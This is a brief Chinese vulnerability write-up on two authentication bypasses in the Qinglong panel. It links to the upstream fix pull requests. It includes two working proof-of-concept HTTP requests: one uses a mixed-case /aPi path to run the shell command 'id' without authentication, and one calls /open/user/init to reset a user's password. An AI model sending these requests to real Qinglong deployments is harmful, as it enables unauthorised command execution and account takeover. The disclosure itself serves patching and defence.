青龙面板身份认证绕过漏洞

主要是两处鉴权漏洞

第一处

自定义的鉴权仅判断不为小写的/open或/api就直接放行，而Express 默认大小写不敏感导致绕过，修复方式如下

https://github.com/whyour/qinglong/pull/2935

1
2
3
4
5
6
7
PUT /aPi/system/command-run HTTP/1.1
Host: 192.168.211.181:5700
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json
Content-Length: 16

{"command":"id"}
第二处

由于初始化白名单未考虑/open路径，而后续重写会将/open转化为/api导致可以重置用户密码

https://github.com/whyour/qinglong/pull/2941/changes

1
2
3
4
5
6
7
8
PUT /open/user/init HTTP/1.1
Host: 192.168.211.181:5700
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"username":"user","password":"user123"}